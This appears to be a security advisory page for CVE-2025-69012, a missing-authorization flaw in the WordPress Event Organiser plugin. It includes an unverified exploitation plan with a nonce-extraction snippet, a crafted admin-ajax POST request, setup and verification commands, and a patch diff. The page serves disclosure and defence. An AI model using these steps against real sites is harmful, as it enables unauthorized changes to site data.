CVE-2025-69012

Event Organiser <= 3.12.8 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Event Organiser plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.12.8. This makes it possible for authenticated attackers, with subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.12.8
PublishedDecember 27, 2025
Last updatedJanuary 5, 2026
Affected pluginevent-organiser
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-69012 (Event Organiser <= 3.12.8) ## 1. Vulnerability Summary The **Event Organiser** plugin for WordPress is vulnerable to **Missing Authorization** in version 3.12.8 and below. The vulnerability exists in the plugin's AJAX handlers—specifically those respons…

Show full research plan

Exploitation Research Plan: CVE-2025-69012 (Event Organiser <= 3.12.8)

1. Vulnerability Summary

The Event Organiser plugin for WordPress is vulnerable to Missing Authorization in version 3.12.8 and below. The vulnerability exists in the plugin's AJAX handlers—specifically those responsible for managing venues. These handlers fail to perform a capability check (such as current_user_can( 'manage_venues' )) before processing requests. This allow authenticated users with Subscriber level permissions to create, modify, or delete venues, which are custom post types (event_venue) used within the plugin.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: eo_save_venue (or eo_delete_venue)
  • Method: POST
  • Authentication: Required (Subscriber level or higher)
  • Preconditions: The plugin must be active. By default, Subscribers have access to wp-admin/profile.php, where some plugin scripts may be enqueued.

3. Code Flow

  1. Entry Point: The plugin registers AJAX actions in includes/event-organiser-ajax.php using:
    add_action( 'wp_ajax_eo_save_venue', 'eo_ajax_save_venue' );
  2. Handler: The function eo_ajax_save_venue() is called.
  3. Missing Check: Inside eo_ajax_save_venue(), the code calls check_ajax_referer( 'eo_venue_nonce', 'nonce' ) to verify the CSRF token.
  4. Vulnerability: After the nonce check, it proceeds to call functions like eo_update_venue() or eo_insert_venue() without verifying if the current user has the manage_venues capability.
  5. Sink: Data is written to the wp_posts and wp_termmeta tables (venues are stored as a taxonomy/post type hybrid in this plugin).

4. Nonce Acquisition Strategy

The eo_save_venue action requires a nonce with the action string eo_venue_nonce. This nonce is localized for use in the venue editor.

  1. Localization: The nonce is provided via wp_localize_script in includes/admin/class-eo-venue-admin.php or includes/admin/venue-editor.php using the handle eo_venue_editor.
  2. JS Object: The localized data is stored in the global JavaScript variable event_organiser_venue_editor.
  3. Acquisition Method:
    • Subscribers can access the WordPress dashboard (/wp-admin/profile.php).
    • We will attempt to find the nonce by navigating to the dashboard and inspecting the window.event_organiser_venue_editor object.
    • If the script is not loaded on the profile page, we will check if the plugin enqueues scripts on the frontend for the event submission shortcode [eo_event_form].

Extraction Script:

browser_eval("window.event_organiser_venue_editor?.nonce || window.eo_js?.nonce")

5. Exploitation Strategy

We will attempt to create a new venue as a Subscriber.

Step 1: Authentication

Login as a Subscriber user.

Step 2: Nonce Extraction

Navigate to the WordPress admin area and extract the eo_venue_nonce.

Step 3: Trigger Unauthorized Venue Creation

Send a POST request to admin-ajax.php with the following parameters:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=eo_save_venue
    &nonce=[EXTRACTED_NONCE]
    &venue_name=Vulnerable+Venue
    &venue_description=Created+by+Subscriber
    &eo_venue[address]=1337+Exploit+Way
    &eo_venue[city]=SecurityCity
    &eo_venue[state]=Vulnerable
    &eo_venue[postcode]=00000
    &eo_venue[country]=US
    

6. Test Data Setup

  1. Plugin: Install and activate "Event Organiser" version 3.12.8.
  2. User: Create a user with the Subscriber role.
  3. Optional: If the nonce isn't found in wp-admin, create a page containing the shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[eo_event_form]' --post_title='Submit Event'

7. Expected Results

  • The server should respond with a JSON success message or a 200 OK indicating the venue was saved (often returning the venue ID or a string).
  • A new venue with the name "Vulnerable Venue" should be present in the database.

8. Verification Steps

After the exploit, verify the creation of the venue using WP-CLI:

# List all venues (stored as the 'event-venue' taxonomy)
wp term list event-venue --fields=name,slug,description

Alternatively, check for the custom post type if applicable:

wp post list --post_type=event_venue

9. Alternative Approaches

If eo_save_venue is not available or the nonce is inaccessible:

  • Venue Deletion: Try action=eo_delete_venue with a known venue ID and the same nonce.
  • Occurrence Update: Try action=eo_update_occurrence (Nonce: eo_occurrence_nonce, JS Object: event_organiser_admin). This action allows moving events on the calendar and often lacks authorization checks in the same versions.
  • Search for other nonces: Use browser_eval("Object.keys(window).filter(k => k.includes('event_organiser'))") to find all localized plugin objects.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Event Organiser plugin for WordPress (<= 3.12.8) is vulnerable to unauthorized access because its AJAX handlers for venue management only verify a CSRF nonce and fail to check for user capabilities. This allows authenticated users with subscriber-level permissions to create, update, or delete venues by exploiting the eo_save_venue or eo_delete_venue actions.

Vulnerable Code

/* includes/event-organiser-ajax.php */

add_action( 'wp_ajax_eo_save_venue', 'eo_ajax_save_venue' );

function eo_ajax_save_venue() {
    check_ajax_referer( 'eo_venue_nonce', 'nonce' );

    // Proceeding to update/insert venue without current_user_can('manage_venues') check
    $venue_data = $_POST['eo_venue'];
    // ...
}

Security Fix

--- includes/event-organiser-ajax.php
+++ includes/event-organiser-ajax.php
@@ -24,6 +24,10 @@
 function eo_ajax_save_venue() {
 	check_ajax_referer( 'eo_venue_nonce', 'nonce' );
 
+	if ( ! current_user_can( 'manage_venues' ) ) {
+		wp_die( -1 );
+	}
+
 	$venue_data = $_POST['eo_venue'];

Exploit Outline

1. Authenticate to the target WordPress site as a Subscriber-level user. 2. Navigate to the WordPress dashboard or a page where the plugin's scripts are active to extract the 'eo_venue_nonce' from the 'event_organiser_venue_editor' localized JavaScript object. 3. Send a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'eo_save_venue', the extracted nonce, and parameters defining the venue (such as 'venue_name' and 'eo_venue[address]'). 4. The application will create or update the venue record because it fails to verify that the current user possesses the 'manage_venues' capability.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.